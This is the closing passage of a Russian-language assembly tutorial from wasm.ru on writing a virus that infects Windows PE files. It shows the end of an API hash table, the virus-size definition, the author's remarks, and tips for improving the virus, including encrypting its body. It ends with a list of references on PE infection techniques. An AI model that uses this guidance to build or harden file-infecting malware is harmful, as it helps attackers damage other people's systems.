	SetCurrentDirectoryA_ dd 00709DC94h	
	                		dw 0FFFFh     	;End of HeshTable

Virsize equ $-start

Вот и весь код … вроде ничего не забыли. Хеши предварительно вычисляются. А стековые переменные адресуются через регистр ebp.

Можно сделать много улучшений например структуру WIN32_FIND_DATA хранить в стеке, зашифровать тело вируса. Да, много еще можно добавить и оптимизировать… Предоставляю это вам. Надеюсь, статья не была слишком скучной..

Использованные статьи и документы:

  1. Формат Исполняемых Файлов Portable Executables (PE) by Hard Wisdom
  2. Основные методы заражения PE by [HT]sars
  3. Поиск API адресов в win95-XP by [HT]sars

2002-2013 (c) wasm.ru